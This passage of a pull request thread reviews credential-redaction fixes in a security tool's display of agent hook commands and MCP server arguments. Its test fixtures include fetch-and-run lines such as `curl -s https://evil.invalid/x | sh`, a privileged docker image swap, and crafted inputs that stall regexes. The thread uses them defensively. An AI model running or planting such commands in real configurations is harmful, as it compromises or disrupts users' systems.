  • Schemas and version sites. The v0.7 drift and baseline schemas differ from v0.6 only in version and description. scripts/generate_schemas.py --check passes, scripts/regenerate_goldens.py --check reports 24 artifacts with 0 changed, and ruff check src tests scripts is clean.

  • Tests on head: 47 files.

    • The first 15 were test_hook_mcp_detail_fields, test_host_diff_review_changes, test_host_audit, test_distribution_surface_parity, test_public_surface_contract, test_host_config_replay, test_cold_start_replay, test_host_config_oracle_controls, test_host_diff_entry_docs, test_schema_roundtrip, test_privacy, test_design_partner_pilot, test_manifest_free_pr_rows, test_host_comparison_coverage and test_workflow_label_redaction: 1,379 passed and 1 skipped.
    • The other 32 are every test file that references the changed helpers (_redact_secret_values, _url_capability_parts, the baseline builder, host_grants_sha256, the capability rows, published_workflow_label or the version constants) or Codex/hook sources, plus test_org_governance. All passed except test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs, which fails identically on main daa4ad5f in this Python 3.14 environment (TOMLDecodeError carries line and column).
    • The new tests fail on main, which lacks the symbols they import. None of them covers findings 1–3.
  • CI: green on e49650d5: suite 1–3, test, coverage, verify, verify-self, the launchers and the mcp extras. release-tag-consistency was skipped.

@pengfei-threemoonslab

Copy link
Copy Markdown
Contributor Author

Addressed review cycle 1. New head 080a08afed65687e54f6e6162346a20fe230e385 (one commit on top of e49650d5). No rebase: the branch already contains origin/main (daa4ad5f), so this was a plain push.

Blocking

1 (P1): long generated credentials joined by ., : or ;. Fixed. _without_generated_runs (in core/host_grants.py) now runs the generated-key test on each run of the base64 alphabet inside a word. Runs are split at every other character, and at an = that separates a name from its value. Each run that reads as a key becomes <redacted>.

  • Once one run of a word is a key, every other run in it with a key's shape (20 or more characters of two classes) is replaced too. This is what catches a Mapbox signature, which is too short for the entropy test alone.
  • A run followed by = is an assignment's name, so it is kept.
  • The hex of a sha256:, sha384: or sha512: digest is kept, because it is a pin.
  • The whole-word test still runs first, so nothing that was redacted before is published now.

Your shapes, run through ./shipgate on the new head (diff, diff --json, verify text, pr-comment.md, verifier.json, agent-handoff.json, current-control.json, check --format text): 0 canary hits on every output. The diff entries read:

Stop (command bin/notify.sh SG.<redacted>.<redacted>)
SessionEnd (command bin/tg.sh 123456789:<redacted>)
Notification (command bin/map.sh sk.<redacted>.<redacted>)
azure (command name azure-mcp; args AccountName=acct;AccountKey=<redacted>)
airtable (command name airtable-mcp; args patAbCdEfGhIjKlMn.<redacted>)
discord (command name discord-mcp; args <redacted>.Cl2FMQ.<redacted>)

test_credentials_in_a_command_or_an_argument_are_never_published now includes SendGrid, Telegram, Airtable PAT, Discord, Mapbox and Azure connection-string canaries in a new hook and a new MCP server. The word table pins each shape, plus benign controls that must stay as written:

  • srv@sha256:<64 hex>
  • ghcr.io/github/github-mcp-server:v0.5.0
  • @upstash/context7-mcp@1.0.14
  • mcp-outline==1.10.1
  • $CLAUDE_PROJECT_DIR/.claude/hooks/PostToolUse-Format.sh
  • DefaultEndpointsProtocol=https;EndpointSuffix=core.windows.net

2 (P2): a credential flag right after another credential-named flag. Fixed. Whether a word is replaced now depends only on the word before it (_credential_values), not on whether that word was itself consumed.

  • _mcp_args(['--no-password','--token','abc123']) → ['--no-password','<redacted>','<redacted>'].
  • ['--auth','--token',…] and ['--use-token','--api-key',…] give the same result.
  • ['--token','--token','abc'] → ['--token','<redacted>','<redacted>']. The previous test had pinned abc as published; it is now corrected.

The same bug also existed in hook commands, and there the digest's string rule caused it. It had already rewritten --no-password --token abc as --no-password <redacted> abc before the command was split into words. A word that follows a credential name in the command as written is now <redacted> wherever the redacted words still hold it.

End to end: an added server now reads api (command name api-mcp; args --no-password <redacted> <redacted>). Rotating abc123canary to zzz999canary still gives No static host-grant changes detected, and now the published arguments are identical on both sides.

Tests:

  • test_a_published_argument_redacts_at_least_what_the_digest_input_redacts gains your three cases and ['--token','password','secret','value'].
  • A new test checks the invariant over every list of up to four words from a vocabulary of flag shapes (4,680 lists).
  • test_a_value_after_a_chained_credential_flag_stays_quiet_and_redacted covers the rotation.

3 (P2): a change past the 12-argument bound read "no difference in … arguments". Fixed in capability_diff_rows.py. When either side has omitted_args > 0, the sentence says what was compared and what was not. Your 14-argument GitHub docker config (tag v0.5.0 → latest) now reads:

github: no difference in the command name docker, the first 12 arguments, env key names or header key names; the change is in a detail this output does not show, such as an argument past the first 12, the command's path, a redacted or shortened argument, or another setting

Hooks get the same treatment:

  • With more than 16 handlers the sentence says … or timeout of the first 16 handlers; … such as a handler past the first 16, ….
  • A change after a command's eighth argument names a command argument past the first 8.

test_a_change_past_the_argument_bound_says_only_the_first_arguments_were_compared puts the pin in the fourteenth argument. test_a_change_past_the_handler_or_command_bound_says_so covers a seventeenth handler and a command's tenth argument. Row values and counts are unchanged (1 row each).

Non-blocking

  • P3, glued text (…sk-secret--password hunter2): fixed. _detail_label now runs the digest's own string rule (_sanitize_sensitive_string) on the text as written, before the label rule. That rule therefore sees every value it redacts from the digest input before redact_text can consume the keyword. test_a_value_the_digest_input_redacts_inside_a_word_is_never_published covers sk-…--password, ghp_…API_TOKEN=, xoxb-…--token and the chained flag, each in an argument list and in a hook command.
    • One visible side effect: a bare Bearer <token> that is not inside a header now reads Bearer <redacted> instead of [REDACTED:bearer_token]. Both hide the token.
  • P3, flag shapes: partly fixed in code, the rest documented.
    • --secret-key X, --aws-access-key X (endings secretkey, accesskey) and --pass X / -pass X are now credential flags.
    • --key X, -p hunter2 and -phunter2 stay published. A bare key is deliberately not a credential name, for the reason CREDENTIAL_KEY_SUFFIXES gives (sort_key), and -p is as often a port or a profile.
    • STABILITY and the CHANGELOG now name these shapes explicitly.
  • P3, _DETAIL_HEADER_RE over-redacting ghcr.io/org/secret:1.2.3: declined, now documented. As you note, it errs toward hiding, and the tag change is still a row that says it is in a redacted argument. The obvious narrowing is to exclude a name preceded by /. That would publish the value of a key written …/token: VALUE, such as a JSON "auth/token": "…", which this rule redacts today. STABILITY now states the behaviour: ghcr.io/org/auth:1.2.3 reads ghcr.io/org/auth:<redacted>.
  • P3, a positional e-mail address: declined, now documented. An e-mail address is not a credential. On the comparison routes it is the address already written in the configuration file being compared. Redacting it would hide a real change of account without protecting a secret. STABILITY and the CHANGELOG now say it is published as written, and a saved baseline never holds it.

Evidence that nothing else moved

  • 80 vendored benchmark cases (host-config and cold-start). Each was rebuilt as a two-commit repository and run through diff / diff --json on e49650d5 and on this head. Rows, review.changes, diff text, and the published hook and MCP detail of both sides (437 words) are identical on all 80. No real-world argument that was published before is redacted now.
  • tests/test_host_config_replay.py, tests/test_cold_start_replay.py and tests/test_host_config_oracle_controls.py pass. No replay.json was re-recorded, and the run-of-record scores reproduce exactly.
  • Regression proof: against e49650d5's engine, 26 of the new or changed cases in tests/test_hook_mcp_detail_fields.py fail, and the benign controls pass. On this head, all 103 tests in the file pass.

Docs

  • STABILITY's migration note: the redaction bullet is restated (the string rule runs first, run-by-run key detection, the chained-flag rule, the new flag names, and the shapes that still publish). The bounds and rows bullets now give the bounded sentences.
  • The CHANGELOG ## Unreleased entry is updated the same way. ## 1.1.0 is untouched.
  • docs/host-boundary-support.md is updated.
  • The capability_diff row in docs/distribution-surfaces.md now describes the bounded sentences. It adds no claim, so the parity test's claims are unchanged.

Tests run

  • pytest over the 148 test files that mention host grants, capability diff, hooks, MCP config, redaction, the contract version or benchmark replay. Everything passes except:
    • the pre-existing local environment failures listed in the PR body: tests/test_release_source.py (7 tests, hatchling is not installed) and test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs (Python 3.14 TOMLDecodeError);
    • test_required_source_availability.py::test_module_invocation_agrees_with_the_cli, which fails the same way on its own: there is no python on this machine's PATH;
    • test_capability_diff_partial_clone.py::test_every_promisor_remote_is_named_and_none_is_guessed, which failed only inside my sharded runner, because the runner's argv contains the word "origin". It passes on its own.
  • scripts/generate_schemas.py --check, scripts/regenerate_goldens.py --check (24 artifacts, 0 changed), scripts/build-llms-full.py (no change) and ruff check src tests scripts.

CI runs the full suite.

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Independent coding-agent review/address cycle 2 at 080a08af.

Not mergeable yet: three new findings block merge. A hook timeout too large for a float crashes every route. A published doc says rotating a credential flag's value is still a row, and it is not. The header rule hides the rest of a hook command after $PWD: or an unquoted auth:. All three cycle-1 findings are fixed, and rows, row counts, digests and saved baselines are unchanged. Every value below comes from a synthetic repository run through ./shipgate on this head and on origin/main daa4ad5f, or from calling the head's helpers directly.

  1. P1: a hook timeout integer of 309 or more digits crashes diff, check, verify and audit --host.

    • Fixture: the base .claude/settings.json has a PostToolUse hook with "timeout": 10. The head sets "timeout": to 1 followed by 400 zeros.
    • On head:
      • diff, diff --json, check --format text, check --format agent-boundary-json and audit --host --json exit 1 with OverflowError: int too large to convert to float.
      • verify exits 4 (internal_error) and writes no pr-comment.md and no verifier.json.
    • On main: all six exit 0, and the change is one PostToolUse → PostToolUse row.
    • Cause: _hook_handlers (core/host_grants.py:1384) calls math.isfinite(timeout) on any int, and Python converts the value to a float first. JSON reads such a literal as an int, and config_sha256 hashes it without trouble, so the crash is new.
    • Nothing else crashed: a type fuzz of _hook_handlers and _mcp_args over 20,000 random configurations raised no other exception.
    • Why it matters: the repository controls this value. The failure is fail-closed, but it takes away every row of that pull request, and on main the same pull request gets a comparison.
    • Fix:
      • Call math.isfinite only on a float.
      • Publish an int as it is. An int whose text is longer than the word bound can instead go through _detail_text as bounded text.
      • Add this fixture to the tests.
  2. P2: docs/host-boundary-support.md says a change confined to the value after a credential-named flag is still a row. For the values the digest input redacts, it is not.

    • The new paragraph (lines 172–179) says: "a credential header's whole value and the value after a credential-named flag are published as <redacted>, and a change that only such a word, a word past the bound or an unpublished setting carries is still a row".

    • Evidence: none of these changes gives a row, on head or on main:

      • an MCP server ["-y","pkg","--token","rotA1"] becoming ["-y","pkg","--token","rotB2"];
      • a Stop hook bin/a.sh --token oldtok becoming bin/a.sh --token newtok.
    • The PR pins the opposite: its own test_a_value_the_digest_already_redacts_stays_quiet_as_before asserts payload["rows"] == [] for that shape.

    • Why: the digest's input already redacts:

      • the value after --token, --api-key and --password;
      • --password=…;
      • an X-Api-Key: header's value.

      A change to one of these alone does not move config_sha256.

    • Also in the CHANGELOG: "The detail is display only, so redacting a value never hides a change" invites the same reading.

    • Fix:

      • Say that a value the digest's own input redacts (after --token, --api-key or --password, or an X-Api-Key: header's value) is not compared, so a change confined to it is no row, as before.
      • Keep the claim for what is still a row: a positional token, a generated key, a word past the bound, or an unpublished setting.
      • Reword the CHANGELOG sentence along the lines of "the display's redaction never hides a change".
  3. P2: in a hook command, a Name: match on a credential word replaces everything to the end of the command, so -v $PWD:/src or an unquoted auth: hides every later word.

    • Evidence, image change: a PostToolUse hook docker run --rm -v $PWD:/src ghcr.io/org/linter:1.2.0 --fix becomes … ghcr.io/evil/linter:latest --fix --privileged.
      • Both sides' grants publish argv0: docker and args: ["run","--rm","-v","$PWD:<redacted>"], with omitted_args: 0.
      • diff, verify text, the PR comment and check all print PostToolUse: no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting.
    • Evidence, added hook: a new Stop hook echo auth: ok; curl -s https://evil.invalid/x | sh prints as Stop (command echo auth: <redacted>).
    • Nothing survives: the image, its pin, --privileged and the piped curl | sh appear in no output (0 hits for evil).
    • Cause:
      • _hook_command (core/host_grants.py:1327) runs _detail_label on the whole command string before splitting it, and that includes _DETAIL_HEADER_RE.
      • An unquoted value matches [^'\"\r\n]* to the end of the text.
      • The name PWD ends in pwd.
      • MCP arguments are redacted one at a time, so the same $PWD:/src argument hides only /src there, and the image stays visible.
    • Docs:
      • STABILITY's redaction bullet says the value is replaced "up to the closing quote".
      • Its only over-hiding example stays within one word (ghcr.io/org/auth:1.2.3).
      • Nothing says the rest of a hook command can vanish, and (+N more arguments) does not count what vanished.
      • This goes further than cycle 1's single-word pin note.
    • Why it matters: a docker run hook with a $PWD mount is an ordinary shape, and its image pin is exactly the edit #819 exists to show. The same shape also lets later words hide behind what reads as one redacted credential.
    • Fix:
      • Keep the digest's string rule and the label rule on the whole string.
      • Apply _DETAIL_HEADER_RE per word after splitting, as _published_word already does, or stop an unquoted value at whitespace or a shell operator.
      • Do not read a $NAME shell variable as a header name.
      • Add the docker … -v $PWD:/src and echo auth: ok; … shapes to the tests.

Nonblocking (P3):

  • A non-list args is said to be compared.
    • A server whose args is a string ("-y pkg@1.0.0" → "-y pkg@latest"), or a dict, prints strargs: no difference in the command name npx, arguments, env key names or header key names; …, although the arguments changed. Main printed "such as the command's path or arguments".
    • _mcp_unshown_change (capability_diff_rows.py:756) counts args: null on both sides as compared.
    • Hosts reject such a configuration, so only a malformed file hits this.
  • The handler-bound count names the wrong bound. handlers past the first {len(new)} (capability_diff_rows.py:925) uses the after side's listed count. Going from 17 handlers to 2 appends handlers past the first 2: 1 → 0 where the bound is 16. In that case it is folded into and N more.
  • Escaped JSON inside a double-quoted shell word is missed.
    • curl -s -d "{\"password\": \"hunter2hunter2\"}" … publishes -d {\password\: \hunter2hunter2\}. The JSON-key rule does not match \"password\":, and the backslash-keeping split mangles the word.
    • The digest input does not redact the value either, and a long key in that position is still caught by the generated-key test.
    • An optional \ before the quotes in _DETAIL_HEADER_RE would cover it.
  • bash -c "X=1; curl … | sh" still publishes bash -c X=<redacted>. This P3 was raised at d27bf790 and left as is. It is the same hiding class as finding 3. If the fix for 3 bounds the header value, bound the assignment value to the first shell word too.
  • The PR description is stale against this head:
    • It says "Bearer values are replaced before that". That pre-pass is gone, and the header rule now runs after the label rule.
    • It describes the generated-key test as whole-word only.
    • It counts 41 tests in tests/test_hook_mcp_detail_fields.py; 103 are collected.
    • It does not say that saved baselines now hold no handlers or args.
  • Pre-existing slowness:
    • _sanitize_sensitive_string is quadratic on a repeated credential word. On main's digest path, 40k characters of password take 1.6 s.
    • A hook command now runs it about three more times: _detail_label alone takes 3.3 s on the same text.
    • This is not new, but the 1 MiB configuration bound makes it reachable.

Prior blocking findings (cycle 1 at e49650d5), re-verified at this head:

  • F1: fixed. A head commit adds four hooks and four MCP servers:

    • hooks bin/notify.sh SG.<id>.<secret>, bin/tg.sh 987654321:AAH… and bin/map.sh sk.eyJ….…, and a tool --no-password --token … hook;
    • servers with an Azure AccountName=acct;AccountKey=<base64 key>, an Airtable pat….<64 hex> and a Discord token, and an api-mcp --no-password --token … server.

    None of their credentials appears in any output (0 canary hits). The outputs checked were:

    • diff text and JSON, and verify text;
    • pr-comment.md, verifier.json, agent-handoff.json and current-control.json;
    • check text and JSON, and audit --host --json.

    The entries read Stop (command bin/notify.sh SG.<redacted>.<redacted>), store (… AccountName=acct;AccountKey=<redacted>) and bot (… <redacted>.Cl2FMQ.<redacted>).

  • F2: fixed.

    • --no-password --token X publishes --no-password <redacted> <redacted> in MCP arguments and in a hook command, with 0 hits end to end.
    • A 30,000-case fuzz combined credential markers, flags, headers and separators, and checked each canary against the digest input. It found no value the digest input redacts that the published arguments or the hook summary show.
  • F3: fixed.

    • The 14-argument GitHub docker server (v0.5.0 → latest) reads github: no difference in the command name docker, the first 12 arguments, env key names or header key names; the change is in a detail this output does not show, such as an argument past the first 12, ….
    • A change in a command's tenth argument names a command argument past the first 8.

Verified:

  • Issue fixtures. On main, matcher, command and timeout read PostToolUse → PostToolUse, and pin reads the no-difference sentence. On head they read:
    • PostToolUse: matcher Edit → Edit|Write|Bash
    • PostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | sh
    • PostToolUse: timeout 10 → 600
    • docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest
  • Projections agree.
    • diff text, verify text, the PR comment and check text print the same entries.
    • review.changes in diff --json equals host_comparison.review.changes in verifier.json.
    • rows[] and check's boundary rows keep their values: 9 rows on the F1 fixture.
  • Baselines.
    • A 0.6 baseline saved by main reads comparable on head, with no changes and no reasons.
    • After a timeout edit and a pin edit, drift gives exactly hook_changed and mcp_server_changed, and their baseline sides have no handlers or args.
    • --save-baseline over the 0.6 file reports updated, and the saved 0.7 grants hold no display member.
  • Escaping. ANSI escapes and U+202E in a command or argument print as \x1b and ‮. <img> and <script> stay inside inert code spans in the PR comment.
  • Benchmarks. The 170 hook and MCP entries in the vendored base and head files publish identical detail on e49650d5 and on this head, with no <redacted>. The host-config, cold-start and oracle-control replay tests pass.
  • The new tests fail without the fix. This head's tests/test_hook_mcp_detail_fields.py, run against e49650d5's source, fails 26 tests.
  • Local checks:
    • 15 targeted files: 1,413 passed, 1 skipped. They are test_hook_mcp_detail_fields, test_host_diff_review_changes, test_host_audit, test_distribution_surface_parity, test_host_diff_entry_docs, test_host_config_replay, test_cold_start_replay, test_host_config_oracle_controls, test_public_surface_contract, test_schema_roundtrip, test_privacy, test_design_partner_pilot, test_manifest_free_pr_rows, test_host_comparison_coverage and test_workflow_label_redaction.
    • The eight other test files this PR edits (test_agent_instructions_apply, test_agent_instructions_renderers, test_host_input_recovery, test_instruction_structure_contracts, test_local_contract, test_org_governance, test_reusable_workflow_secret_mappings and test_workflow_step_action_references): all passed.
    • scripts/generate_schemas.py --check passes, scripts/regenerate_goldens.py --check reports 24 artifacts with 0 changed, scripts/build-llms-full.py leaves no diff, and ruff check src tests scripts is clean.
  • CI: green on 080a08af. That covers suite 1–3, test, coverage, verify, verify-self, the launchers and the mcp extras; release-tag-consistency was skipped.

@pengfei-threemoonslab

Copy link
Copy Markdown
Contributor Author

Addressed review cycle 2. New head ebe8558f68e50a25c25d5ce970ec50e64cfb8e49

The branch is rebased onto origin/main 44b9e05d (#827 landed), so it was force-pushed with lease. The rebase conflicts in STABILITY.md, docs/distribution-surfaces.md and tests/test_distribution_surface_parity.py were resolved by keeping both sides. #827's unreleased paragraph and migration note stand beside #819's, and #827's note says the host-grants 0.7 and contract v41 move in this release is #819's. The capability_diff surface row and its parity comment carry both claims.

Blocking

C2-1 — a hook timeout integer of 309 or more digits crashed every route. Fixed in _hook_timeout (core/host_grants.py):

  • A finite float, or an integer of at most 80 digits, is published as the number it is.
  • Any other value is published as its bounded text: an over-long integer, inf, nan, a boolean, a string.
  • An integer is never converted to a float, and its bit length bounds the digits before it becomes text.

Your fixture (timeout 10 → 1 followed by 400 zeros), run through ./shipgate at the new head:

  • diff exits 0 and prints PostToolUse: timeout 10 → 1000000000000000000000000000000000000000000000000000000000000000000000000000000….
  • verify --pr-comment-style capability-review exits 0 and writes pr-comment.md and verifier.json.

test_an_over_long_timeout_integer_is_published_as_bounded_text_on_every_route asserts one row and the same entry on each route: diff text and --json, verify text, the PR comment, verifier.json, check text, check --format agent-boundary-json and audit --host --json. test_a_timeout_is_the_number_it_is_or_its_bounded_text holds a table of 13 values, including 80 and 81 digits, a negative, 2**400, inf, nan and True. On the previous head the route test fails with the OverflowError.

C2-2 — the docs claimed a change after a credential-named flag is still a row. Agreed; the docs were false for the values the digest input redacts. docs/host-boundary-support.md, the STABILITY Display only bullet and the CHANGELOG now say:

  • A value the digest's own input redacts is not compared, so a change confined to it is no row, as on 1.1.0. That covers the value after --token, --api-key or --password, a --password=… value, and an X-Api-Key: header value.
  • "Still a row" applies to a positional token, a generated key, a header value's words after its scheme (Authorization: Bearer …), the value after a flag the digest does not name (--secret-key …), a word past a bound and an unpublished setting.
  • The CHANGELOG sentence now reads "the display's redaction never hides a change".

Each claim was checked against _redact_secret_values before it was written. test_a_value_the_digest_already_redacts_stays_quiet_as_before now covers six rotations: hook --token, --api-key, --password= and X-Api-Key:, and MCP --token (your ['-y','pkg','--token','rotA1'] → rotB2) and --password. Each gives rows == []. The new test_a_value_only_the_display_redacts_is_still_a_row_that_says_so pins the other half with --secret-key and Authorization: Bearer ….

C2-3 — a Name: credential match redacted to the end of the whole command. Fixed as you suggested:

  • The digest's string rule and the label rule still run on the whole command.
  • _DETAIL_HEADER_RE now runs on each word after splitting (_detail_string_rules for the whole string, _detail_label per word), as it already did for MCP arguments.
  • A header name never starts after $, so $PWD and $API_TOKEN are shell variables and not header names.

Splitting first would have published the credential in an unquoted -H Authorization: Basic <key>. So a word that ends in a credential header name and its colon takes the next word as its value, and the word after that too when the next is a scheme such as Basic or Bearer. No later word is hidden.

Your fixtures through ./shipgate diff at the new head:

⚠ high  widened  claude-code .claude/settings.json
        PostToolUse: command docker run --rm -v $PWD:/src ghcr.io/org/linter:1.2.0 --fix → docker run --rm -v $PWD:/src ghcr.io/evil/linter:latest --fix --privileged
⚠ high  added    claude-code .claude/settings.json
        Stop (command echo auth: <redacted> curl -s https://evil.invalid/<redacted-path> | sh)

test_a_header_value_never_hides_the_words_after_its_own_on_any_route asserts both entries in diff text and JSON, verify text, the PR comment, verifier.json and check text. test_a_header_value_is_read_one_word_at_a_time adds ${PWD}:/src, $HOME/.cache:/cache, an unquoted Authorization: Basic, Authorization:Bearer, X-Auth-Token:, a quoted header and escaped JSON, with canaries that never publish. STABILITY's redaction bullet now says the rule applies within one word, up to the closing quote or the end of the word. It also describes the next-word rule and the $NAME exclusion, and gives the echo auth: example.

Nonblocking (all fixed)

  • args not a list on both sides. The entry reads "…such as the command's path or arguments" again, as on main. _mcp_unshown_change counts arguments as compared only when the grant's args is a list. Tested by test_arguments_that_are_not_a_list_are_not_said_to_be_compared.
  • "handlers past the first N". It now names the bound, 16: a side that counts handlers past the bound lists exactly 16. Going from 17 handlers to 15 reads -handler (matcher Edit, command bin/h15.sh); handlers past the first 16: 1 → 0 (test_a_handler_count_past_the_bound_names_the_bound).
  • Escaped JSON in a double-quoted word. The header rule accepts a backslash before a quote. curl -s -d "{\"password\": \"hunter2hunter2\"}" publishes {\password\: \<redacted>, and the value is not published.
  • bash -c "X=1; curl … | sh". I agree it is the C2-3 class. In a POSIX shell's -c script (sh, bash, zsh, dash, ksh, mksh, ash, after -c or a cluster holding c, in a hook command or an MCP server's args), each leading assignment's value now ends where the shell ends it: at the first whitespace outside quotes and escapes. So the script publishes X=<redacted> curl -s https://evil.invalid/<redacted-path> | sh, and a changed script names its new command.
    • The rule is scoped to shell scripts on purpose. Anywhere else a NAME=value word's value is still the rest of the word, because docker run -e "FOO=a b" and an MCP -e, FOO=a b pass a b as the value. Ending it at whitespace there would publish b.
    • A value holding a substitution, a parenthesis, a brace or an open quote is still replaced whole.
    • Tests: test_a_shell_script_publishes_the_commands_after_its_assignments (10 shapes, including those negative controls), test_an_mcp_shell_script_… and test_a_changed_shell_script_names_the_command_after_its_assignment.
  • Quadratic _sanitize_sensitive_string. The cost was all in _ASSIGNMENT_SECRET_RE, and the display had made it worse: one 40,000-character password hook command took 6.6 s to publish before this change. The fix is a lookahead for the = and value's first character that every match needs after the name's whole run. The name can only end where its run ends, so the lookahead matches exactly what the pattern matched.
    • Performance: that command now takes 0.05 s, and the digest input 0.001 s instead of 1.6 s.
    • Equivalence: spans and groups are identical to the old pattern over 200,000 random strings, including ſ/K case folding, so every config_sha256 is unchanged.
    • test_the_digest_assignment_rule_matches_as_before_in_linear_time pins the equivalence over 20,000 strings plus a time bound.
  • Stale PR description. Rewritten:
    • It no longer mentions the removed Bearer pre-pass.
    • It describes the run-by-run generated-key test and gives the current test count (149 in tests/test_hook_mcp_detail_fields.py).
    • It states that a saved baseline holds no handlers, omitted_handlers, args or omitted_args.

Evidence it moves nothing else

  • The 80 vendored host-config and cold-start cases, run through diff --json at 080a08af and at this head, give identical rows and identical review.changes. The CHANGELOG's benchmark measurement and the run-of-record scores stand, and no replay.json was re-recorded.
  • Before the fix, 32 of the new tests fail when the previous head's host_grants.py and capability_diff_rows.py are swapped in. All pass at this head.

Run

  • tests/test_hook_mcp_detail_fields.py (149 tests).
  • The 47 test files that mention host grants, capability diff rows, the host-grants schemas or the host boundary, with the host-config and cold-start replay and oracle-control tests.
  • The 51 hook, MCP, Codex, Claude, diff, verify and check test files: 1,756 pass and 9 skip. The one failure is tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs, the pre-existing local failure the PR description lists: Python 3.14's TOMLDecodeError carries a line and column, which changes the golden's evidence and ids. That TOML path is untouched here.
  • tests/test_public_surface_contract.py, tests/test_distribution_surface_parity.py and tests/test_host_diff_entry_docs.py.
  • scripts/generate_schemas.py --check and ruff check src tests scripts.

CI runs the full suite.

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Independent coding-agent review/address cycle 2 at ebe8558f.

Not mergeable yet: two findings block merge. Three regular expressions in the new display code take quadratic time on text the repository controls, so a crafted .mcp.json or hook command stalls every route for minutes to over an hour where main answers in under a second. The quickstart also still makes the claim that cycle 2 at 080a08af removed from three other pages. All nine earlier blocking findings are fixed at this head, CI is green, and rows, row counts, digests and saved baselines are unchanged. Every value below comes from a synthetic repository run through ./shipgate on this head and on origin/main 44b9e05d, or from calling this head's helpers directly.

  1. P2: three new patterns take quadratic time on repository-controlled text, so a single configuration file can stall diff, check, verify and audit --host.

    • Evidence, diff wall time on head and on main:

      head .mcp.json / .claude/settings.json adds file size head main
      an MCP argument "token:" followed by 64,000 spaces 64 KB 20 s 0 s
      the same with 128,000 spaces 128 KB 77 s 0 s
      a Stop hook sh -ccc…c1 x (64,000 c) 64 KB 13 s 0 s
      one MCP argument of 8,000 64-hex runs joined by . 520 KB 20 s 1 s
      • On the 64 KB MCP file, check --format text takes 39 s and audit --host --json 20 s.
      • Doubling the input multiplies the time by about four. At the reader's own 1 MiB bound, that extrapolates to about 85 minutes per read for the header shape and about 55 minutes for the shell-flag shape. check takes about twice as long as diff.
      • Every run exits 0 once it finishes, so nothing leaks and nothing false is published. A pull request can still hold the gate's job for hours, which is the same outcome the cycle-2 timeout crash had.
    • Causes, in core/host_grants.py:

      • _DETAIL_HEADER_RE (:1022). In [ \t]*:[ \t]*\\?['"]?([^'"\r\n]*[^\s'"]), the whitespace after the colon and the value's [^'"\r\n]* both match spaces and tabs. When only whitespace follows up to the end of the word, a quote or a newline, every split between them is tried. It runs on every MCP argument, every hook command word and every matcher.
      • _DETAIL_SHELL_SCRIPT_FLAG_RE.fullmatch (:1081, used at :1099). -[A-Za-z]*c[A-Za-z]* backtracks over every c in a long flag that fails at its end. It runs on every word after sh/bash/… in a hook command or an MCP server's args.
      • _DETAIL_DIGEST_PREFIX_RE.search(word, 0, match.start()) (:904) rescans the whole prefix of the word for every run of exactly 64, 96 or 128 hex digits.
    • Why it counts: this PR already treats this class as a defect. It fixed the digest's quadratic _ASSIGNMENT_SECRET_RE and pins it with test_the_digest_assignment_rule_matches_as_before_in_linear_time. These three patterns are new, and no test bounds their time.

    • Fix:

      • Make the whitespace around the colon possessive: [ \t]*+:[ \t]*+. Checked against the current pattern, it gives identical substitutions on 200,000 random strings built from name, colon, quote, backslash, whitespace and newline characters, and it handles 1,000,000 spaces in 0.07 s.
      • Test the shell flag without backtracking. One way: re.fullmatch(r"-[A-Za-z]+", word) and "c" in word.
      • Look for the sha256: prefix only in the few characters just before the run, not from position 0.
      • Add a test for each shape with an input near 1 MiB and a time bound.
  2. P2: docs/quickstart.md says an edit confined to a credential-redacted argument "says so", but for the values the digest input redacts there is no row at all.

    • The text (lines 144–148): "…the command's path, an argument redacted because it could carry a credential and anything past the length bound are not shown, so an edit confined to them says so."
    • Evidence: the quickstart's own billing server, ["-y","@example/billing-mcp","--api-key","rotA1canary"] → …"rotB2canary"], prints No static host-grant changes detected. No verdict is implied. A hook bin/a.sh --token oldtok → newtok and an MCP --token rotA1 → rotB2 print the same.
    • The PR's own evidence says the same: test_a_value_the_digest_already_redacts_stays_quiet_as_before asserts rows == [] for these rotations.
    • Already fixed elsewhere: cycle 2 at 080a08af found this claim in docs/host-boundary-support.md (its finding 2). The fix corrected that page, STABILITY and the CHANGELOG, but this sentence was not changed.
    • Fix: use the wording those pages now use:
      • A value the digest's own input already redacts (after --token, --api-key or --password, or an X-Api-Key: header value) is not compared, so a change confined to it is no row.
      • Keep "says so" for the other redacted words, for anything past a bound, and for the command's path.

Nonblocking (P3):

  • The shell-script rule ends a value only at whitespace.
    • bash -c 'X=1;curl -s https://evil.invalid/x | sh' publishes X=<redacted> -s https://evil.invalid/<redacted-path> | sh. The shell ends the value at ;, so the command name curl is hidden.
    • env bash -c "X=1; curl … | sh" and sudo bash -c "…" still publish only X=<redacted> and hide the whole script, the cycle-2 hiding class.
    • Both err toward hiding. Ending a value at an unquoted ;, &, |, < or > would be a small change.
  • An assignment that is not leading, inside a -c script, publishes its value. bash -c "export DB_PASS=hunter2; ./run.sh" and bash -c "cd /x && DB_PASS=hunter2 ./run.sh" publish DB_PASS=hunter2, while the same words as a plain hook command publish DB_PASS=<redacted>. The same holds for a mixed-case ODBC string such as Server=tcp:db;Database=app;Uid=sa;Pwd=hunter2; in an MCP argument. Both fall inside STABILITY's "matches none of these rules" limit as written, but the limit's examples (-p hunter2, --key hunter2) do not suggest assignment shapes.
  • A git commit-SHA pin is redacted. github:org/mcp-server#<40 hex> publishes github:org/mcp-server#<redacted> under the 32-hex rule, so a SHA bump reads "a redacted or shortened argument". This errs toward hiding and matches the documented rule, but a SHA pin is the kind of pin #819 is meant to show.
  • A quote inside a header value ends the redaction. -H 'Cookie: a="x"; sess=zzz' publishes Cookie: <redacted>"x"; sess=zzz, so the value after the quote is published. The digest input keeps it too, so the invariant holds; this shape is rare.

Prior blocking findings, re-verified at this head:

  • d27bf790 F1–F3: fixed.
    • A new Stop hook with Authorization: Basic, Authorization: Bot and X-Auth-Token: headers and -u user:pw gives 0 canary hits.
    • New MCP servers with a Basic --header, serve token X, --auth X and --brave_api_key X also give 0 hits.
